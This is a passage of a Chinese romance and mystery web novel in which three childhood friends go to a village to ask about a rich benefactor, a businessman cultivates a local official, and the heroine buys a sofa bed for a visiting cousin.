是啊,强扭的瓜不甜,民间谚语自有其广大深意。
“师父,二中哪天放假的?”
“刚放。”
梁喜点点头,这几天她生病,有点跟不上节奏。
“你上高中那会儿经常逃课从后院跑工作室来帮我干活。”
“我逃的都不是主要科目。”
“是,要不你能考上大学吗?”
老王拍拍裤子站起来,“行了,以后你和京平的事我不管了,师父相信你能处理好,我一会儿有个局,先走。”
等他
离开,长椅上只剩下梁喜自己,头顶树叶沙沙作响,为她遮挡阴凉,她在清风中闻到一丝过去的气息,来自十七岁那个白梨汽水味的夏天。
回忆总是不讲情面,说来就来,天气有预报,回忆没有,某个不经意的画面,像引子一样把回忆勾出来,有的一闪而过,有的却短暂驻扎,在心头剜一刀再走
梁喜很想告诉路崇宁她现在的心意,却连问他是否喜欢过她的勇气都没有。
上一次在咖啡店门口,她好不容易说出那句“我知道你不喜欢我,五年前就不喜欢”,路崇宁没有否认,所以那就是他的回答吗?
一只蜻蜓在梁喜头上盘旋,最后落在围栏尖上,艳红色的尾巴,眼睛很大,小时候有段时间梁喜曾视红蜻蜓为偶像,羡慕它们有一对云游四方的翅膀,后来发现它们怎么飞也没飞出过故乡。
电话声将梁喜飘远的神思拉回来,她低头一看,路崇宁。
“喂,哥。”
梁喜故意叫的,她在提醒自己。
那头沉默了下,说:“周六你有空吗?和信航去一趟全喜村,那边有山有水库,信航说带你散散心。”
“有空。”
“行,我告诉他一声。”
电话挂断,梁喜再去看红蜻蜓的时候它已经飞走了。
40-50
第41章 第四十一章 到全喜村打探。
出发当天信航没让路崇宁开车, 说公家的车万一有剐蹭不好交代,还是开他的。
上午八点出发,先开到市郊一家早餐店停下, 信航说这家早餐特别好吃, 尤其是豆浆油条,所以带梁喜和路崇宁过来尝尝。
梁喜喜欢喝豆浆, 一次能喝两杯, 考虑今天出门, 路上上厕所不方便, 这才悠着点, 只喝了一杯。
几十公里路,国道,大部分路段都比较好开, 只是大车多,要小心避让。
道路两侧成排的杨树已经长成,估摸有十几米高,在车子疾驰的时候飞快倒退, 像驻守的卫士一般。
杨树后面是广袤的农田, 水稻长势喜人, 叶尖上尚未完全蒸发的露珠在晨光中闪闪发亮, 放眼望去绿意蓬勃。
后座只有梁喜自己, 她摇下车窗, 趴在上面欣赏风景。
“小宁,你给喜喜拿瓶水。”
“我不喝。”
梁喜在后边喊了句, 路崇宁拿水的手停住,转瞬收回。
信航又问:“吃零食不?”
“哎呀!开你车。”
信航冲路崇宁笑笑,“嫌我烦了。”
中间一次没停, 一直开到全喜村,打听事最好的方法是到村口大树下,可信航说这里没有“村口大树”,还是去村委会吧,他认识村支书。
“咱们三个人目标太大,小宁,你带喜喜随便溜达溜达,我自己去,问到什么我再告诉你俩。”
梁喜一脸信不着的表情看信航。
“行,你去吧,问完打电话,我俩不走远。”
既然路崇宁都这么说了,梁喜只能听从安排。
信航把车钥匙扔给路崇宁,“玩去吧你俩。”
回到车上,路崇宁导航一个叫“喜山水库”的地方,发现开车过去差不多十分钟,好近。
“去水库吗?”这回换梁喜坐副驾。
“你想去就去。”
“行,去看看。”
说走就走,导航十分钟,实际路崇宁开了八分,这个季节的水库储水量大,只有小部分区域对外人开放,河滩边有几个孩子在捡石子,身后的大人聚在闲聊,看样子不像村里人。
梁喜和路崇宁绕过一段水泥路往水库管理房那边走,上面地势高,视野好,适合看风景,有四五个人正在那拿手机拍照。
“哥,水库里是不是有特别特别大的鱼?”
路崇宁对梁喜突然转变的称呼很不适应,但又没有理由要求她停止,只能硬着头皮听。
“有吧,以前听梁叔说过,生态保护得好,水库就会有大鱼,鱼龄达到十几年。”
“我爸怎么教你那么多?”
“因为你聪明,不用教。”
梁喜好整以暇地看他,“我就说让你少和信航玩。”
路崇宁笑笑,“我不找他,他也找我。”
走上去视野一下开阔起来,目光拉远,水库甚至望不到尽头,在湛蓝天空的映射下很像大海。
“要帮你拍照吗?”
梁喜摇头,“我不喜欢拍照。”
“是嘛。”
路崇宁可对许京平自拍的那张合照记忆深刻。
梁喜知道他话里有话,说:“没有事先征求我同意的,我管不着。”
清风通透,可路崇宁感觉有点噎
太阳大,晒得眼睛睁不开,梁喜手搭凉棚,路崇宁见状把他那顶绿帽子摘下来给梁喜戴上。
“不用,你戴吧,晒。”
“我本来就黑,晒晒更健康。”
“是,露的地方黑,不露的地方白。”
“你怎么知道?”
“用眼睛看的啊!”
梁喜说完路崇宁忽然笑了,也不知道他笑点在哪。
“哥,你头发长了。”
“回去剪。”
“这次你自己决定发型吧,我不掺合。”
路崇宁转头看梁喜,“你喜欢我剪寸头吗?”
“我喜欢没用。”
路崇宁摸了一把头发,“知道了。”
信航循着记忆走到村委会,看见紧锁的大门才想起来今天是周六,村委会也要放假,他只能跟路过的村民打听,“大爷,您知道村长家在哪吗?”
“你找刘书记有事儿啊?”
“啊,我找他了解点情况。”
大爷背后的手往前一指,“跟我来,我和刘书记是邻居。”
信航跟在大爷旁边,“我扶您啊?”
“不用,我自己能走。”
大爷走得相当慢,比路边的鸡鸭鹅快不了多少,信航又不能催,只能也跟着慢悠悠走。
“大爷,您贵姓啊?”
“姓周。”
“周大爷,我看你们村好像经济挺好啊!”
“老马家祖坟冒青烟,出了个有钱人,给村里建学校,修路,进村的水泥路可都是人家修的。”
老马家?
信航假装感兴趣,“那老马家的房子肯定是你们村最气派的吧?”
周大爷眯眯眼,说:“老马和他媳妇儿没得早,没享着一天他儿子的福,老房子早没人住了。”
“诶?听你这么一说我好像有印象,刘书记跟我讲过,他儿子叫马”
“马有原,村里人都管他叫马总。”
信航:“他家就一个儿子啊?”
“还有个闺女,在精神病院呢,不知道受了什么刺激,一夜之间就疯了,外人都说老马家全部的福气都给了儿子,这灾啊病啊被另外三个人吸走了。”
“是安北精神病院吗?化城附近就安北那个最有名。”
“好像是吧,我听我儿子提过一嘴。”
“马总做什么生意?那么有钱呢。”信航一副羡慕的神情。
周大爷摇摇头,“咱不知道,他爸没那年回来一次,之后我没见过,大家伙都感激他,别的也不好问,只知道钱直接打给村里,由刘书记负责支配,除了建小学,修路,噢,还修了全喜村的祖坟,马总找人算过,说祖坟风水好,旺子孙,任何人没经过他的允许都不准私自挪坟。”
“这么迷信呐。”
“诶!他说得还真准,村里多数人家的日子过得都挺好,个别家实在太穷,马总也帮他们孩子介绍工作,出去打工了,每年春节带钱带东西回来孝顺爸妈。”
看来这位马总真不是一般人啊!
信航观察了下周大爷的穿着,发现面料质量挺好,又问:“周大爷你家孩子上学还是上班呢?”
“上班了,年轻时不务正业,现在好了,刘书记帮忙在化城找了份工作干,赚不少,总给我钱。”
“大爷你也享福了。”
周大爷笑笑,指着前面右手边的红色大门说:“那个就是刘书记家,我出来的时候他在家呢,你快去吧,我自己
溜达溜达。”
“谢谢大爷啊!”
在偶遇这位大爷之前,信航本想开门见山直接问,可跟他聊完之后信航察觉到一些异样,那么多捐款落在刘书记一人手里,再看他家气派的房子,信航不能确定刘书记是否会因为他警察的身份而说实话,所以决定改变路数。
敲了几下门,信航先是听到狗吠声,紧接着一个男人问:“谁啊?”
“请问刘书记在家吗?”
门打开,出来的正是刘书记本人。
“诶?小信警官!”
“刘书记,好久不见。”
“你怎么来了?我们村谁犯事儿了吗?”
“不是不是。”信航摆摆手,“还是上次那个案子,又有点新情况找你核实。”
刘书记回头往屋里看了眼,“你等我一会儿哈,咱俩去村委会聊,家里孩子多,太闹。”
“好。”
刘书记转身回去换鞋,信航透过门缝往里看,里面比外墙看起来更加气派,双层别墅,连车库都有,这个配置在全喜村算大户了,可据信航了解,全喜村大多以种植水稻为生,每家大概十几亩到几十亩不等,如果不外包农田的话,想达到这种生活水平有点难。
很快刘书记换了皮鞋出来,短袖也换成了衬衫,乍一看特有乡镇干部的气质。
“小信呐,你咋找着我家的?”
“跟村里人问路了。”
信航怕刘书记追问,赶忙转移话题,“今年水稻不错啊!我来的时候看见了,等到秋天又是一个丰收年。”
“是,这几年都挺好,产量大,价格稳定,老百姓日子好过了。”
“东北大米确实好吃。”
来的时候跟周大爷走得慢,二百米走出了二里地的感觉,回去跟刘书记走,脚速一下提上来,很快走到村委会。
刘书记在前边给大门开锁,引信航进去,“村委会平时事儿不多,周末还有农忙的时候我一般不来,村里人有事就给我打电话或者直接去我家。”
“怪我,来之前没给你打电话。”
“这话说得外道了,警民一家亲,你要了解啥情况,我全力配合。”
“没别的,还是上次那事儿,有个细节跟你核对一下,你也知道,我们有我们的流程,就算清楚也得来走个过场。”
“理解。”
开门进屋,刘书记让信航随便坐,他要烧水沏茶,信航忙拦住他,“刘书记您别忙,我问完就走。”
“啊,真不喝呀?”
“不喝,不跟您客气。”
信航身下坐的沙发和茶几应该是新买的,上次来还不是这组,沙发皮质不错,坐着也舒服,感觉不便宜。
他随口编了个有关上次那个嫌疑人的细节跟刘书记核实,没几句便结束了,后边信航又跟刘书记聊聊村里建设,差不多和周大爷一样的开场,得到的回复却不尽相同。
村里的路和学校是政府出资,刘书记只字没提捐赠,也没提某个从村里出去的孩子不忘本的事,只说水库占了村里的地,有补偿款,山上每年产不少野生山货,村民采摘卖掉也能增加经济收入。
捐赠本是好事,他为什么要隐瞒呢?
“行,刘书记,我得走了,耽误你这么长时间。”
“再有事随时找我。”
“太感谢了。”
刘书记往路边望,“诶?你没开车啊?”
“我朋友开去水库玩了。”
“我请你们到水库那边吃鱼吧,我亲戚开了一家铁锅炖鱼,味道老正宗了!”
信航赶忙拒绝,“不用不用,我们随便走走,一会儿就回去了。”
“行,正好我闺女带两个外孙回娘家,我媳妇在家做饭呢,我回家帮帮忙。”
“那我走了,刘书记。”
“我送你。”
两人客客气气,一直到门口,刘书记把大门锁上,两人一左一右分开,一个往水库方向,一个回家。
第42章 第四十二章 来自山野,也来自她。……
水库上面的观景台不长, 三百米不到的样子,待了十分钟梁喜便和路崇宁下去了。
走到下面的浅河滩,梁喜弯腰捡起一块被水冲刷得很光滑的石头, 质地透明, 淡红色,她顺手揣进兜里。
“还没捡够啊?”
“嗯?”梁喜抬头看路崇宁。
“小时候你有个玻璃瓶, 里面装的全是石头。”
“这你都记得。”
他望着河水, 说:“因为一大半都是我和信航给你捡的。”
梁喜没什么印象, 低头又捡了一块, 用水冲冲, 感觉质地不太好,又扔了。
路崇宁在前面找到一处干爽的地方坐下,看梁喜捡了扔, 扔了又捡,忙活半天坐到他身边时兜里一共才四块。
梁喜拿出来给路崇宁看,“怎么样?”
“够养老了。”
“我自己吗?那不行,信航说咱们仨都得去养老院。”
路崇宁笑笑, “我俩的石头自己捡。”
梁喜一本正经扒拉扒拉, 把石头又小心揣回去。
面前河水涌动, 两人忽然不说话了, 望着河面发呆。
对岸有几个人在钓鱼, 隔十几米就有一个坐在小马扎上, 基本都是男的。
这种爱好适合性子和缓的人,急性子基本钓不着。
路崇宁手机震动两声, 他解锁来看,是阿布发的信息,“小宁哥, 你今天没来咖啡店啊?”
路崇宁飞快打了个字发过去,“没。”
梁喜看见了,装没看见。
她本以为自己已经想通了,可亲眼看见阿布给路崇宁发信息她还是会吃醋,心里不舒服。
“阿布跟你表白了吗?”梁喜的语气听起来轻快随性。
“嗯。”
“你答应啦?”
路崇宁哼笑一声,“怎么会。”
“不只她一个人喜欢你吧?”
“应该还有一个,我不确定。”
梁喜的脸“刷”一下红了,“知道你招风,别显摆了。”
她抓起一把腿边的石头认真筛选,其中有一块绿色的,一看就是玻璃瓶,她把其他石头扔掉,单独留了玻璃碎片,拇指和食指捏着朝太阳那边看。
阳光从碎片和手指空隙散落在梁喜脸上,她眼睛一睁一闭,想让阳光帮她鉴定一下是否有不是玻璃的可能,结果大失所望。
手臂放下,梁喜和路崇宁视线对上,他不是刚看过来,而是一直看着,阳光在梁喜脸上充分铺匀,路崇宁不自禁想起他家后院的那片向日葵地。
“喜喜”路崇宁凑近,刚要说什么,被身后传来的声音打断。
“喜喜!小宁!”
信航从远处跑来,还没到跟前就开始喊。
路崇宁把话憋回去,站起来,又将梁喜拉起。
信航:“你俩怎么没去上边啊?那边风景好。”
梁喜捋捋头发,“去了,刚下来。”
路崇宁迫不及待,问:“怎么样?”
“换个地方说。”信航看眼时间,“村书记说附近有做铁锅炖鱼的农家院,马上中午了。”
三人一拍即合,边走边打听,在水库附近五百米的地方找到一处农家院,周六人不少,屋里的包房有空调,因此满员,老板给梁喜他们仨安排到院子一处葡萄架下面,既不晒,也不闷。
夏季的葡萄架已经结满绿色的葡萄,只是现在口感微酸,还不能吃,要等变成紫红色才行。
“先坐哈,我让人给你们点菜。”
老板说完进屋叫来一个小男孩儿,看样子只有十几岁,肯定未成年。
信航和他开玩笑,“你成年了吗?就出来打工。”
小男孩儿挠挠头,“放暑假了,我爸让我帮家里干活,一天给我一百!”
“呀!挣不少啊!”
许是因为信航表现得平易近人,小男孩儿把菜单递给他,他转手递到对面,“小弟弟,我家她说得算。”
“我知道,我家也是我妈老大。”
梁喜拿菜单要扇信航,被路崇宁拦住,“点菜吧。”
小男孩儿被吓着了,直往后躲,被信航拉回来,“别怕,她不吃人。”
梁喜把菜单看了一遍,基本都是东北菜,点个鱼锅再来个凉菜就够了。
“三道鳞
,吃吗?”
信航说“吃”,梁喜视线又转向路崇宁,他点头,全票通过。
“要一百五十八的套餐,再来一个捞汁拌菜。”
小男孩儿在本上奋笔疾书,信航偷瞄一眼,“鳞会写吗?”
他把本子给信航看,原来他写的是:3——158,+拌菜。
“太聪明了,回头让你爸再给你加一百。”
“谢谢叔叔。”
小男孩儿拿了菜单转身要走,信航皱着眉喊:“不是哥哥吗?”
“”
没人理他。
鱼锅上来之前,信航简单把打听到的信息讲给梁喜和路崇宁。
“看来梁叔没错,他的确在那年回来过。”
“哪年?”
梁喜不知道这段。
信航替路崇宁小声回答:“路叔出事那年。”
“如果铁路客运没有信息,最有可能就是开私家车往返。”路崇宁起身和梁喜调换位置,他和信航坐一侧,这样说话方便。
“小宁,你放心,要是这个男的跟路叔杨姨那事儿有关系,我一定不会放过他,可要是没关系,你得答应我到此为止,之后的事都交给我,你好好工作。”
路崇宁又问:“安北精神病院在哪?”
“安北县啊,你不知道?”
“听过,没去过。”
信航看向梁喜,“你呢?”
一模一样的回答
信航一副大人语气,“你俩啊,一个在外面念书,一个在外面打工,跟家乡脱节时间有点长,等有空我给你俩补补课,带你俩多去周边转一转。”
老板将鱼锅材料端上来,锅盖打开,当着食客的面现做,很快香味飘出来,搞得三个人都有点饿了。
一五八的套餐刚刚好,没剩几口,拌菜本来剩了三分之一,最后被信航端过去清盘。
吃完饭三人又坐了十分钟,信航问他俩着不着急回去,要是不急的话开车去山脚转转,小爬一下,权当锻炼身体了。
“我没事。”
“我也没事。”
信航起身,“走,出发,喜山半日游。”
边走边冲梁喜伸手,“二位给五百团费就行了,一人二百五。”
梁喜吃饱了犯懒,否则一定飞踢他
路崇宁把车开到山脚,他不知道再往里能开多远,既然要爬山,还是在边上先观察一下地形,走迷路就不好了。
这边的山没有开发,还保持着比较原始的形式,就算有上山的路,估计只有村里人熟悉,外人来了得费点功夫。
三人依次下车,仰头往山尖上看,目测不高,但真要爬上去,没个把小时下不来。
梁喜有点担心,“会不会有野猪啊?”
路崇宁:“应该有,但一般碰不上。”
“还有别的动物吗?”
“有啊,松鼠,狐狸,狍子,野鸡。”
信航说完往上走了几步,没发现路,视线里全是杂草,“好像不行,再往前看看。”
梁喜走在后边,步子很慢,她想仔细观察这些花花草草和数不清的树木,在城里工作久了,难得见这些原生态的植物。
走了没几分钟,路崇宁和信航突然停下来,梁喜快步追上去,在右手边看到一大片坟冢,夏季阳光洒在上面,坟冢上布满绿草和不知名的小花,这幅光景让本来有点阴森的地方变得无限温情。
“这里应该就是周大爷说的全喜村祖坟吧,好家伙,修得确实气派,周边风景也好,不像城里,又贵又小。”
信航说完,胆子特别大地走过去,盯着一处墓碑看,上面无非是死者姓名,还有生卒年月日,他看了一眼,没什么特别的,又走回梁喜和路崇宁身边,“怪不得马有原不让村里人私自挪坟,修成这样肯定找风水大师看过。”
梁喜赞同,“有钱人都信这个。”
信航拍拍路崇宁肩膀,“你们老板不也是吗?拜佛烧香。”
“嗯。”
信航顺着这片坟冢向上看,松树很高,枝叶茂盛,只是靠近坟冢的树枝貌似被人为修整过,不挡光。
忽然一只鸟从树上飞下来,盘旋一圈落在一个墓碑上,发出“布咕布咕”的叫声,两只眼睛机灵灵的,左看右看。
“布谷鸟吗?”
听声音像,梁喜不太确定,扭头向路崇宁求证。
“是吧。”
远离山林的孩子几乎不认识,即便课本教过,等到亲眼见到的时候也会含糊。
信航看着眼前景象,感慨说:“要是我也生在农村就好了,老了以后在这养老,养点土鸡,种种菜,死了葬在山里,有花有草,世外桃源。”
路崇宁问他:“不住养老院了?”
“养老院哪有这好。”
梁喜说:“你现在也可以啊,找个本地媳妇入赘。”
“得了,我爸能打死我。”
“走吧,别看了。”
这次换梁喜在前,她摘了几朵黄色和粉色的小花,让路崇宁帮她插头发上,信航笑她是采花大盗。
最后山没爬成,在山脚走一段便返程了。
梁喜躺在后座睡了一路,等睁眼的时候绿色不再,而是变成冰冷的钢筋水泥楼房。
路崇宁和信航在外面抽烟,梁喜打开车门,迷迷糊糊叫了一声“哥!”
两人一起回头,信航“哎呀”一声,“大小姐,你可算醒了,咱们都到二十分钟了。”
“怎么不叫我?”
“小宁不让。”
梁喜下车抻抻懒腰,招呼路崇宁回家。
信航站在路边,他没拦出租车,而是望着前方的车流愣神,城市景象由清晰变成一道虚影,而虚影之后则是下午在水库浅滩上路崇宁看向梁喜的眼神,那是爱人才有的模样。
信航也有,只是一文不值,所以他更不敢拿出来,暴露在光天化日之下
走进小区,孩子的吵闹声不绝于耳。
梁喜头发上还插着山上摘的野花,一个小女孩儿跑到她面前,问:“姐姐,你头上的花花在哪里摘的啊?”
梁喜停住脚,回她:“在山上。”
“离我家远吗?”
“很远。”
小女孩儿失望离开,梁喜转身找路崇宁,左边没有,她又向右看。
“怎么了?”路崇宁问。
“还以为你没跟上来。”
忽然又一群孩子跑过来绕着两人转圈追逐,其中一个个子高点的男生不小心撞到梁喜,被路崇宁一把揽过,将梁喜搂在怀中,手掌箍着她的头。
随着孩子们被大人叫走,身旁又恢复安静。
路崇宁很快放开梁喜,只是手从她头上拿下来的时候指间顺走一朵花。
黄色的,来自山野,也来自她。
第43章 第四十三章 关系到兄妹为止就行了。……
初一, 烧香拜佛的好日子。
刘俊华被司机送到青云寺所在的山脚下,再往上要自己爬,每次来都一样。
他这边刚下车, 冲迎面过来的人招招手, “梁局,等半天了吧。”
梁辰景一改刚才独坐的冷脸, 起身迎刘俊华, “没有, 刘总, 我也刚到。”
两人今天穿得格外休闲, 尤其是刘俊华,脚上一双布鞋,手里捻着一串菩提, 即便说话手上也没停。
刘俊华拍拍梁辰景后背,“怎么过来的?没开车啊?”
“打车,今天放假,不好麻烦单位司机。”
“理解, 公家有公家的规矩, 咱们走吧。”
面前只有一条石板路通往山上的青云寺, 爬上去大概十多分钟, 不算高, 但如果步行过来的话, 从山脚到石板路的坡道还要走半小时,所以一般过来烧香拜佛的人都选择坐车到石板路这里, 再往上走就轻松了。
刘俊华没让司机跟着,和梁辰景边走边聊。
“今年雨水不太多,你看这石头上的青苔长得都不像样。”
“刘总, 您还懂这个,今年雨水是比往年少,但不算干旱,农作物不缺水。”
“那就好啊,农民靠天吃饭,可别让老百姓受罪。”
刘俊华往梁辰景手上看,“诶?我送你的手
串没拿啊?”
“啊,在这呢。”
梁辰景从兜里掏出来,学刘俊华一样在手里捻来捻去。
他不信佛,所以没那习惯,自从和刘俊华结识后才开始初一十五到青云寺烧香,表面上像受刘俊华影响,其实心里没什么别的想法,做做样子罢了。
两人边走边聊,直至青云寺门口才停下来,坐到树下休息。
山顶风大,几阵风吹过,梁辰景头上的汗便消了,可他还是觉得有股烦躁的热,每次和刘俊华待在一起他都很紧张,生怕说错话,惹这位财神爷不高兴。
“梁局,喝水吗?”
“我去买。”
刘俊华让梁辰景坐,他起身走去一旁的凉亭,梁辰景哪里坐得住,也跟过去,买了两瓶水回原位喝。
拿人手短,吃人嘴软,有些路,一旦迈出去便再无法回头,梁辰景知道现在的处境都是他自己做出的选择,既然框在里面了,就要想办法在有限的空间内挣一条最舒坦的活法。
“刘总,在外面叫我名字吧,别叫梁局,太客气了。”
“咱俩年龄差不多,那我叫你辰景吧。”
“哎。”
“和蒙蒙相处得怎么样?”
听到“蒙蒙”的名字,梁辰景有点难为情,拧着瓶盖,说:“挺好的。”
刘俊华眼中闪过一阵不可言传的笑意,“咱们这个岁数就是找个人搭伙过日子,漂亮是其次,主要是贴心。”
“蒙蒙确实很贴心。”
提起这个女人,梁辰景心里其实很复杂,他明知道是刘俊华刻意安排,还是在几近五十岁的年纪动了不该动的心,本来他想既来之则安之,没想到陷进去了,好在通过半年多的相处,蒙蒙给他留下的印象很不错,而且她主动跟梁辰景把过去这些年的经历都讲了一遍,她是刘俊华从广州那边带过来的,跟着他一起打拼很多年了,有一定信任度,刘俊华介绍的人她很放心,加上她和梁辰景同是离异单身,能理解彼此的苦处,算得上知心人。
更难得的是在一起这么久,她从未朝梁辰景要过什么东西,偶尔梁辰景给她买,还被她批评说别乱花钱,给梁墨攒着,以后结婚用。
如此懂事,梁辰景想等有机会介绍给梁墨认识,后妈也会对孩子好的。
“你儿子放暑假了吗?”
“放了,昨天回来的。”
刘俊华笑了声,“我说蒙蒙怎么回自己那住了,缓缓再告诉孩子吧,他是大学生,懂事了,能接受。”
“哎,我家梁墨脾气大,随他妈,走一步看一步吧。”
刘俊华起身,“走吧,到时间了,别耽误了好时辰。”
梁辰景马上跟着站起来,刘俊华不仅初一十五过来,连上香时间都要严格遵守,自律这方面梁辰景倒很佩服
上完香,梁辰景陪刘俊华在寺里散步,这里和山下城市像两个世界一般,烦恼与苦痛无法在这里停留,最多在这得到短暂开解。
走到一处无人的禅房,梁辰景和刘俊华进去喝茶,因为刘俊华给寺庙捐了一大笔香火钱,所以他在这里很受优待。
泡茶的水是山泉水,独有的冷冽滋味让茶别有一番清香,茶刚泡好,泡茶的僧人退出去,两人坐在蒲草打坐垫上开始品茶。
梁辰景知道刘俊华有事,如果没事不会有时间邀他进来闲坐。
“刘总,项目还顺利吗?”
“一切照常,多亏了你啊,投标才顺利通过。”
刘俊华把梁辰景的茶杯往前推了推,梁辰景接住,说:“刘总,您客气了,光华建筑资质齐全,实力优于其他公司,中标是意料之中的事。”
“前段时间你给我拿的大米特别好吃,小宁去我家吃饭,也夸那个米好吃。”
“小宁?路崇宁吗?”
“是啊。”
梁辰景有点意外,也有点担忧,他曾警告过路崇宁离刘俊华远点,万万没想到路崇宁会去刘俊华家里吃饭,那可不是一般的亲近关系。
“小宁这孩子我很喜欢,打算培养他当我的接班人。”
事情走向有点离奇了梁辰景赶忙纠正自己的失态,“小宁是很好,我也喜欢,前几天听说他参加小语种考试,现在的孩子别说上班的了,有的大学生都逃课,坐不住,学不下去,静得下来才能成事。”
“他在公司人缘也不错,经常有部门领导跟我夸他,就是干什么都太认真了,容易心累。”
“上进是好事,总比那些混日子的孩子强。”
“梁喜是你弟家孩子哈。”
话题转得有点快,梁辰景差点没接住,“啊,是,她和小宁青梅竹马,从小一起长大的。”
刘俊华神色暗下,“有时间叮嘱一下梁喜,关系到兄妹为止就行了,再往深了不合适,小宁以后会很忙,也会遇到更优秀的女孩子,你懂我的意思哈。”
“我懂,刘总。”
前段时间王兴印找刘俊华吃饭,让梁辰景作陪,席中还提到了梁喜,那时刘俊华对梁喜赞不绝口,和今天的态度截然相反。
考虑刚才话有些直接,刘俊华又说:“其实梁喜还是不错的,长得确实很漂亮,就是家世差了些,不过黑陶做得不错,王老师很中意这个徒弟。”
“刘总你可能多想了,喜喜和小宁一直以兄妹相称,喜喜管小宁叫哥。”
刘俊华喝了口茶,“是嘛,那样最好,省着麻烦。”
最后四个字梁辰景听了捏一把汗,他知道刘俊华不能把梁喜怎么样,但要是他想,有很多办法,而且不用他亲自动手。
但这场对话里梁辰景唯一不解的是刘俊华为什么选择路崇宁?
非亲非故,令人琢磨不透。
茶杯空了,刘俊华为梁辰景又倒一杯,“我自己来吧,刘总。”
“没事,你坐。”
茶壶放在桌角,飘散着袅袅热气,窗外树叶沙沙作响,若不是面前的人,此情此景肯定分外舒心。
“梁墨学什么专业?”
“数字媒体技术。”
“大几了?”
“再开学大二了。”
梁辰景知道刘俊华很少讲废话,问起他儿子肯定有原因。
“让他好好学,大四可以到我那实习,或者以后过来工作都可以,要是看不上化城,可以去我们集团总部,在广州,一线城市,什么都发达。”
梁辰景举起茶杯,“我替梁墨先谢谢他刘叔,工作都给安排好了,费心。”
“客气,应该的。”
刘俊华连梁墨的面都没见过,自然不存在什么眼缘,他这么说只是为了捆绑梁辰景,好为他办事罢了,看破不说破。
“对了,我司机跟我说,你帮他老婆办了个闲职,能领退休工资。”
“这点小事徐哥还跟你说了。”
“闲聊聊到的。”
“一般人当不了刘总的司机,我帮他办点事举手之劳。”
刘俊华笑了声,“我回化城之后朋友帮介绍的,也没跟我很久,你太客气了。”
如果一个人撒谎,他可以把话语组织得天衣无缝,但眼神骗不了人,即便他久经世事,也有可能因为情感充沛而暴露,但刘俊华这个人非常善于伪装,善于编造,让一件事在别人脑袋里重新建立秩序,这才是梁辰景觉得他可怕的所在。
虽然认识不到一年,但从梁辰景第一次见刘俊华开始,他身边的司机就是徐兆业,私下梁辰景和徐兆业聊过天,绝非一个临时司机那么简单。
“我下周要去广州,短时间内别给我安排饭局了。”
“好,我知道了,刘总。”
政商难免交集,有的饭局梁辰景自己都不愿意去,但没有办法。
“这茶喜欢吗?”
“不错。”
“回头我让蒙蒙给你带一些。”
“不用了”
刘俊华摆手,梁辰景马上止住刚才的话,“谢谢刘总。”
喝完一壶茶,两人起身往山下走,太阳爬高,阳光比早上来时热烈许多,晃得人睁不开眼,更无法直视。
第44章 第四十四章 被误解为新婚小夫妻。
自从听说学生放假了梁喜
右眼皮总跳, 直到收到梁墨的电话,这才知道为什么跳。
“姐,我能去你家住几天吗?”
“没地方。”
“我睡客厅, 你就让我去呗, 我都想你了,再说我找你还有事儿呢。”
梁喜叹口气, “行, 明晚来吧。”
挂断电话, 梁喜又给路崇宁打过去, “哥, 你今天加班吗?”
“不加。”
“陪我去趟家居市场吧,买个沙发床,梁墨要来咱家住几天。”
“那要早点去, 关门早,三点吧,我过去接你。”
梁喜看眼时间,“你能早走吗?”
“能。”
工作室谁有事迟到早退一会很正常, 但要跟佩姐说, 梁喜挂断电话到一楼跟佩姐请假, 发现她正和周靖哲说话, 周靖哲的手搭在她肩膀上, 见到梁喜两人立马散开, 佩姐眼眶有点红,周靖哲转身到外面去了。
“佩姐, 我家里有事,早走一会儿。”
“噢。”她转身抹了把泪。
可能吵架了吧,梁喜只能装看不见, 摘掉围裙去洗手。
两点五十五,门外响起一声鸣笛,那是梁喜和路崇宁的约定暗号。
梁喜飞快跑出去,余光瞥到周靖哲在墙根下抽烟,但她着急走,顾不上打招呼。
看来真吵架了,周靖哲平时不抽烟的
开门上车,梁喜问:“你知道家居市场在哪吗?”
路崇宁把抱枕从后边拿给她,“知道,你想去哪家?”
“便宜的。”
路崇宁脑子里蹦出一个地方,启动车子。
梁喜将抱枕放怀里抱着,她每次坐路崇宁的车都很安静,怕打扰他,不过最近路崇宁车技进步明显,从最开始的小心翼翼,到现在已经开得很丝滑了。
“梁墨什么时候开始粘你的?我记得他以前不这样。”
“有了正确的审美认知之后。”
路崇宁笑了声。
梁喜斜睨他,“你觉得我不好看,不代表别人也觉得不好看。”
路崇宁收回笑,“好看。”
“晚了。”
价格亲民的家居市场在信航家摊位所在的菜市场斜对角,很近,路崇宁和梁喜也是快开到地方的时候才发现,但今天时间紧,就不过去看民叔了。
一楼基本都是做全屋家具定制的商铺,梁喜之前买床的时候来过,但她有点记不清了,找到商场的布局导航,跟路崇宁说:“沙发在二楼。”
正好旁边有扶梯,两人往楼上走。
“一会儿遇到合适的我来砍价,你别说话。”
路崇宁盯着梁喜,她感受到了目光,转过去问:“怎么了?”
“你会吗?”
“怎么不会?唐姨教过我,对半砍就是了。”
“你叫我过来是替你挨打的吗?”
“不排除这种情况发生。”
电梯滚动到二楼,梁喜光顾和路崇宁说话没看见脚下,忽然她身体腾空,随着路崇宁往前迈步,又轻轻落回地面。
腰上残留的触感告诉梁喜,刚刚路崇宁单手拦腰将她拎到台阶上,拎
“看着点。”他说。
“昂。”
梁喜摸着腰跟路崇宁继续往前走。
逛了几家,遇到一个还算不错的,她问销售员大姐:“请问这个沙发几米长啊?”
“两米。”
梁喜点点头,“够了。”
路崇宁:“什么?”
“长度两米,够你躺的。”
梁喜又问价格,大姐笑盈盈地说:“这款两千三。”
见梁喜犹豫,姐姐开启她利落的嘴皮子,“这款卖得特别好,特别适合你俩这样的新婚小夫妻。
梁喜“咳”了声,“他是我哥。”
“哎呀!不好意思,看你俩俊男靓女,我以为刚结婚呢,再给你便宜点,两千。”
梁喜开口讲价,“我爸只给了我一千五,我俩中午吃饭花了二百,还剩一千三,免费送货,能卖的话我现在交钱。”
路崇宁在一边看懵了,简直张口就来。
“这孩子,让姐赔钱卖啊!”
梁喜拽住路崇宁手腕,“没事,我俩再去别家看看。”
售货员衡量了一下进货价,又把梁喜叫住,“小姑娘诚心买不?你是真能讲价啊,一千四,最低了,我让我老公一会儿能给你送货。”
“可以。”
梁喜要跟大姐去交钱,被路崇宁拉住,“我来。”
大姐回头,梁喜一本正经地说:“爸给的钱在我那。”
配合演戏结束,路崇宁像没听见一样,直接去付钱
买完沙发两人开车回家,一小时后沙发便送来了,非常有速度。
路崇宁把摇椅挪到阳台,给沙发腾位置。
弄好以后梁喜给梁墨发信息,“明天来的时候自己带一套床单,我家没有多余的。”
“好嘞,大美女!”
梁喜真想扇他。
